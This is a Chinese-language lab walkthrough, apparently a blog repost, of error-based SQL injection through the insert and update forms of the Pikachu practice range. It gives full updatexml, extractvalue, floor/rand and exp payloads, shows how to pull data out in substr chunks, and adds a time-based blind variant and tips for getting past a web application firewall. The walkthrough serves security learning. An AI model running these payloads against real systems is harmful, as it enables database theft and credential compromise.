当前位置: 首页 > news >正文

[Pikachu靶场实战系列] SQL注入(insert/update报错注入技巧全解析)

1. 初识Insert与Update注入:当“增改”操作成为突破口

很多刚接触Web安全测试的朋友,对SQL注入的理解可能还停留在select查询语句上,比如在搜索框、登录框里尝试' or 1=1 --。但实战中,注入点可能出现在任何与数据库交互的地方,尤其是那些“写入”和“修改”数据的功能。Pikachu靶场里的Insert/Update注入关卡,就是专门为我们补上这块实战短板的。

简单来说,Insert注入通常发生在数据“新增”的场景,比如用户注册、发布新文章、添加商品到购物车。后端代码的逻辑大概是:INSERT INTO users (username, password) VALUES ('$username', '$password')。如果$username$password这些我们可控的输入点没有经过严格过滤,就被直接拼接进SQL语句,那么攻击者就能像操纵select语句一样,操纵这条insert语句,执行任意SQL代码。

Update注入则发生在数据“更新”的场景,比如修改个人信息、更新订单状态、重置密码。它的后端逻辑类似:UPDATE users SET email='$email' WHERE id='$id'。同样,如果$email$id等参数可控且未过滤,这里也会成为注入的温床。

为什么这两种注入特别值得关注呢?第一,它们往往位于需要一定权限才能访问的功能点(如已登录用户的个人中心),容易被常规扫描器忽略;第二,由于执行的是insertupdate操作,页面通常没有直接的“数据回显”,你无法像在查询注入里那样,直接把数据库名、表名直接显示在网页上。这就引出了我们本次实战的核心技巧:报错注入。当页面没有正常回显时,我们可以通过故意构造一个会让数据库报错的SQL语句,让数据库在执行insertupdate的同时,把我们需要查询的信息(比如数据库名、表内容)通过错误信息“吐”出来。这就像你问一个人问题他不回答,但你故意激怒他,他一生气骂你的时候,反而把秘密说漏嘴了。

在Pikachu靶场中,这两个漏洞点设计得非常典型。Insert注入点就在一个看似无害的“用户注册”页面,而Update注入点则在登录后的“修改个人信息”功能里。接下来,我们就手把手地,从最基础的漏洞发现开始,一步步拆解如何利用报错注入技巧,在无回显的场景下“盲摸”出整个数据库。

2. 实战Insert注入:从用户注册到数据库“脱裤”

我们首先进入Pikachu靶场的“Insert注入”关卡。面前是一个标准的用户注册页面,需要填写用户名、密码、性别、手机号等信息。我的习惯是,见到任何输入框,先想:它会不会直接拼接到SQL语句里?最简单的测试方法,就是输入一个单引号'

我在用户名处输入admiin'(注意这里故意拼错,是为了测试一个不存在的用户,避免和已注册用户冲突),其他信息随便填,点击注册。果然,页面返回了一个MySQL语法错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admiin'', '123456', '1', '13800138000', 'test@test.com', 'Beijing')' at line 1

这个报错信息是金矿!它直接把后端拼接好的SQL语句片段暴露给我们了。从near ''admiin''这里可以看出,我们输入的用户名admiin'被两个单引号包裹了,这说明注入点就在用户名这里,并且原SQL语句是用单引号来包裹字符串值的。但仔细看,错误提示的末尾是')',这说明整个VALUES列表很可能被一对括号()包裹着。所以,我们不仅要闭合前面的单引号,还要处理后面的那个括号。

为了确认SQL语句的结构,我通常会尝试构造一个合法的插入语句来“猜”。我尝试输入:admiin','111','222','333','444','555')#。这个Payload的意思是:admiin'闭合用户名并结束字符串,后面的,‘111’等是用来匹配INSERT语句中其他字段的值,最后用)#注释掉原语句末尾可能存在的')`。提交后,如果页面没有报错(或者提示注册成功/失败,而非SQL错误),那就说明我们猜对了语句结构。在Pikachu里,这样操作后页面会跳转,表明确实执行了插入操作,验证了我们的猜测。

漏洞确认了,但问题来了:注册页面成功后只会跳转或提示“注册成功”,它不会把数据库里查询到的数据展示给你看。这就是典型的“无回显”场景。这时候,就该报错注入登场了。我们的目标是,让数据库在执行插入操作的同时,执行一个查询,并把查询结果通过错误信息返回。

MySQL提供了几个有用的报错函数,比如updatexml()extractvalue()floor()。在Pikachu这个环境里,我们主要使用updatexml()。它的语法是UPDATEXML(XML_document, XPath_string, new_value),本意是更新XML文档的内容。但如果第二个参数XPath_string的格式是非法的,它就会报错,并把这个非法字符串的内容显示在错误信息里。我们可以利用这个特性,把我们要执行的SQL查询语句的结果,作为这个非法XPath字符串的一部分。

构造第一个Payload:在用户名处输入:admiin' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) or '

我来拆解一下这个“魔法”:

  1. admiin':闭合原语句中用户名前的单引号。
  2. and:逻辑与,确保我们的报错语句能成为原INSERT语句执行条件的一部分。
  3. updatexml(1, concat(0x7e, (select database()), 0x7e), 1):这是核心。concat(0x7e, (select database()), 0x7e)会把波浪号~、当前数据库名、再一个~连接成一个字符串,例如~pikachu~0x7e~的十六进制,因为~在XPath语法中是非法字符,能触发updatexml报错。(select database())就是我们要执行的查询。
  4. or ':闭合原SQL语句中用户名后面的那个单引号。这样,整个注入语句就能无缝嵌入到原INSERT语句中,形成类似INSERT INTO ... VALUES ('admiin' and updatexml(...) or '', 'password', ...)的结构。

提交这个Payload后,页面没有跳转,而是直接返回了一个错误:XPATH syntax error: '~pikachu~'。太棒了!我们成功通过报错信息拿到了当前数据库的名字:pikachu。这个过程就像是在执行插入命令的“路上”,强行插队让数据库先算了个数学题(查库名),并且把答案写在了错误报告里。

3. 深入报错注入:利用updatexml()分段提取数据

拿到数据库名只是第一步。我们的终极目标,是获取数据库里敏感的表数据,比如users表中的用户名和密码。但直接查询select table_name from information_schema.tables会返回多行结果,而updatexml()报错一次只能显示一行信息的一部分(约32个字符)。所以,我们需要用到substr()mid()这样的字符串截取函数,以及group_concat()limit来控制返回的数据。

首先,我们来获取当前数据库pikachu中的所有表名。因为表名可能很长,我们使用group_concat(table_name)把所有表名用逗号连接成一个长字符串,再用substr()分段取出。构造Payload如下:

' or updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 1, 31), 0x7e), 1) or '

这个Payload比之前复杂一些:

  • ' or ... or ':用or进行闭合,这样无论前面条件如何,我们的报错语句都会执行。
  • substr((select ...), 1, 31):从合并后的表名字符串的第1个字符开始,截取31个字符。为什么是31?因为updatexml报错显示的信息长度有限,需要留出一个字符给前缀的~
  • where table_schema=database():限定只查询当前数据库pikachu下的表。

提交后,报错信息显示:XPATH syntax error: '~httpinfo,member,message,users,xs'。可以看到,我们得到了部分表名:httpinfo,member,message,users,xs,但最后一个表名xssblind被截断了,只显示了xs

这就需要我们进行第二次查询,从第32个字符开始截取。修改Payload中的起始位置:' or updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 32, 31), 0x7e), 1) or '

这次返回:XPATH syntax error: '~sblind~'。将两次的结果拼接,就得到了完整的表名列表:httpinfo, member, message, users, xssblind。我们的目标很明确,就是那个存放用户凭证的users表。

接下来,查询users表有哪些列(字段)。Payload构造思路类似,只是查询的目标变成了information_schema.columns

' or updatexml(1, concat(0x7e, substr((select group_concat(column_name) from information_schema.columns where table_name='users'), 1, 31), 0x7e), 1) or '

注意,这里where table_name='users'中的users需要用单引号引起来。提交后,得到报错信息:XPATH syntax error: '~USER,CURRENT_CONNECTIONS,TOTAL_'。信息被截断,我们依次调整substr()的起始位置为32、63进行查询,最终拼接出users表的完整列名:USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS, id, username, password, level。我们最关心的当然是usernamepassword列。

最后,就是激动人心的时刻:提取users表中的实际数据。我们使用concat(username, ';', password)将用户名和密码用分号连接起来,再用group_concat合并所有用户的数据。同样需要分段查询:

' or updatexml(1, concat(0x7e, substr((select group_concat(concat(username, ';', password)) from users), 1, 31), 0x7e), 1) or '

返回:XPATH syntax error: '~admin;e10adc3949ba59abbe56e'。看到了admin用户和其密码MD5值的前半部分。进行第二次查询,从第32位开始:

' or updatexml(1, concat(0x7e, substr((select group_concat(concat(username, ';', password)) from users), 32, 31), 0x7e), 1) or '

返回:XPATH syntax error: '~057f20f883e~'。拼接后,我们得到admin用户的完整密码哈希:e10adc3949ba59abbe56e057f20f883e。经验丰富的你一眼就能看出,这是123456的MD5值。至此,通过Insert报错注入,我们成功从注册入口“盲打”出了后台的管理员密码。

4. 转向Update注入:个人资料修改处的陷阱

搞定了Insert注入,我们再来看看Update注入。在Pikachu靶场中,你需要先用刚才注入出的账号(或者随便注册一个账号)登录系统。登录后,通常会有一个“修改个人信息”或“个人资料”的功能,这就是典型的Update操作场景。

我登录后,找到修改信息的页面,随意修改了手机号或地址,然后提交,并用Burp Suite或浏览器开发者工具抓取这个POST请求。抓到的数据包大概长这样:sex=1&phonenum=13888888888&add=Shanghai&email=new@test.com&submit=submit

我的测试思路是,尝试在每个参数后面添加一个单引号',观察哪个参数会引发数据库报错。当我尝试在sex参数值后面加单引号,即发送sex=1'时,页面果然返回了SQL语法错误。这说明sex这个字段存在注入点,并且它很可能被直接用于类似UPDATE users SET sex='$sex' WHERE username='xxx'这样的语句中。

确认漏洞后,利用方式和Insert注入如出一辙。因为同样是Update语句中的值未过滤,并且页面没有回显。我们直接祭出报错注入Payload。例如,查询当前数据库名:

sex=1' or updatexml(1, concat(0x7e, database()), 0) or '&phonenum=111&add=111&email=111&submit=submit

这个Payload的构造逻辑和Insert注入完全一致:

  1. 1':闭合原SET sex='中的单引号。
  2. or updatexml(...) or ':插入我们的报错注入语句,并用or '闭合后面可能存在的单引号。
  3. 后面的&phonenum=111...是其他参数,保持原样即可。

提交后,同样会收到XPATH syntax error: '~pikachu~'的报错,成功验证漏洞并获取信息。后续的数据提取流程,无论是查表、查列还是查数据,其Payload构造方法与上一节在Insert注入中演示的完全一样,只需要把注入点从注册时的username字段,换成这里的sex字段即可。你可以把之前用来查表、查用户数据的Payload,直接套用到这个Update请求的sex参数里,就能一步步提取出所有信息。

这里有一个实战小技巧:在Update注入中,由于你通常已经处于登录状态,你的请求会携带Cookie或Session。所以用工具(如Burp Repeater)重放请求时,一定要把浏览器中的Cookie值也复制过去,否则服务器会认为你未登录而拒绝请求。我刚开始玩的时候,就经常忘了带Cookie,对着一个返回302跳转的页面琢磨半天,后来才反应过来是权限问题。

5. 报错注入函数全解析与技巧进阶

在整个实战过程中,我们主要依赖了updatexml()这个函数。但MySQL中可用于报错注入的函数不止这一个,了解它们的原理和差异,能让你在遇到WAF过滤或特定环境时,有更多的选择。下面我对比一下几个常用的报错函数:

函数语法报错原理特点与限制
updatexml()UPDATEXML(XML_doc, XPath_str, new_val)第二个参数XPath_str包含非法字符(如~0x7e,^0x5e)或格式错误时。最常用。报错信息可返回约32个字符。需要concat()拼接特殊字符触发。
extractvalue()EXTRACTVALUE(XML_doc, XPath_str)第二个参数XPath_str包含非法字符或格式错误时。updatexml()原理类似,用法几乎可以互换。也是返回约32字符。
floor() + rand() + group byselect count(*), concat((payload), floor(rand(0)*2)) x from table group by xrand()group by时的重复计算导致主键冲突。无需依赖XML函数,在特定版本(如MySQL 5.x)下稳定。但Payload较长且固定。
exp()exp(~(select ...))对超大数(如~取反后结果)进行指数运算产生溢出错误。另一种绕过思路。~按位取反运算符常被用来构造大数。

在实际渗透测试中,如果发现updatexml()extractvalue()被WAF或过滤规则盯上了,可以尝试换用floor()报错。它的经典Payload长这样:' or (select 1 from (select count(*), concat((select database()), floor(rand(0)*2)) x from information_schema.tables group by x) a) or '

这个Payload看起来复杂,但其核心是利用了floor(rand(0)*2)这个“随机”数在group by时的确定性重复特性,导致计数时出现重复键而报错。报错信息中会包含我们concat进去的查询结果。

除了函数选择,数据分段提取是报错注入的另一个核心技巧。当查询结果很长时(比如group_concat了所有用户密码),我们必须像前面做的那样,用substr(string, start, length)来分块读取。这里有几个细节需要注意:

  1. 起始位置计算substr()的起始索引通常是1,不是0。每次截取后,下一次的起始位置是当前起始位置 + 本次截取长度。我一般习惯用31作为长度,为报错信息开头的~留出位置。
  2. 使用limit替代group_concat:如果group_concat被禁用或者返回结果超长被截断,可以用limit子句一行行读取。例如:(select table_name from information_schema.tables where table_schema=database() limit 0,1),每次只取一行,然后通过修改limit N,1中的N来遍历所有行。
  3. 闭合的稳定性:在Insert/Update注入中,闭合方式除了我们用的' or payload or ',有时也可能遇到')'))等闭合。关键在于仔细观察第一次单引号报错时,错误信息中暴露的SQL语句片段,灵活调整闭合方式。

最后,再分享一个我踩过的坑:在实战中,有时updatexml()报错返回的信息会被Web应用程序全局错误处理器截断或美化,只返回一个通用的“数据库错误”页面,不显示具体内容。这时候,可以尝试使用基于时间的盲注作为备选方案。虽然效率低,但更隐蔽。例如,在Update注入点可以尝试:sex=1' and if(ascii(substr(database(),1,1))=112, sleep(5), 1) or ',通过页面响应时间是否延迟5秒来判断字符是否正确。这属于另一个话题了,但多一种技术储备,就多一条路。

http://www.cnnetsun.cn/news/1274965.html

相关文章:

  • 从零构建Java人脸识别应用:虹软SDK集成与实战环境配置指南
  • Xilinx GTH高速收发器:从架构解析到实战调试指南
  • 分组密码设计实战:为什么AES选择SPN而DES用Feistel?从硬件到安全的深度解析
  • 安卓逆向实战:从脱壳到签名算法还原——以某新闻App为例
  • 深度视觉中的代价体积(Cost Volume)构建与应用解析
  • 从零构建推荐模型:DeepCTR-Torch 实战指南与避坑技巧
  • GIS小白必看!用浏览器控制台就能玩的5个WebGIS趣味实验(零配置版)
  • 从权限模型到数据泄露:深度剖析JumpServer超级令牌CVE-2025-62712的成因与影响
  • Agones游戏服务器备份与恢复终极指南:保障多人在线游戏数据安全的完整方案
  • Nimbus核心组件终极指南:从NIAttributedLabel到NITableViewModel的高效iOS开发实践
  • MessagePack-CSharp终极性能优化:动态代码生成与JIT技术深度解析
  • 终极gevent事件循环指南:从入门到精通的libev与libuv实战选择
  • DevSecOps安全度量终极指南:如何量化你的安全实践效果
  • MessagePack-CSharp自动化测试策略:确保序列化稳定性的终极指南
  • 终极OpenVR本地化与资源配置指南:打造多语言VR应用完整教程
  • Ecto查询构建器终极指南:从基础到高级查询技巧完全掌握
  • 终极指南:lolcat彩虹终端工具如何让命令行充满色彩与乐趣
  • 构建企业级认证平台的终极指南:深入理解Stack Auth架构
  • AnyPixel.js终极渲染指南:WebGL与Canvas性能深度对比
  • Mineflayer聊天机器人开发终极指南:打造智能对话系统
  • doctest版本更新终极指南:10个步骤确保平滑升级到最新版
  • Datree故障排除终极指南:10个快速修复Kubernetes验证问题的技巧
  • 终极指南:Zelda64Recomp从源码编译到完整部署的完整流程
  • StoryDiffusion终极指南:如何构建高质量长序列漫画创作数据集
  • VMamba核心技术揭秘:2D选择性扫描模块如何实现线性时间复杂度?
  • IPED哈希数据库查询缓存:提升重复查询速度的配置指南
  • Panels框架常见问题解答:从集成到部署的完整解决方案
  • mmdetection行人重识别:ReID与跟踪结合方案
  • Stable-Diffusion-v1-5-archive入门必看:负向提示词设置+种子复现+分辨率优化全解析
  • Youtu-Parsing部署教程:Nanbeige(7861)与Youtu-Parsing(7860)双服务协同配置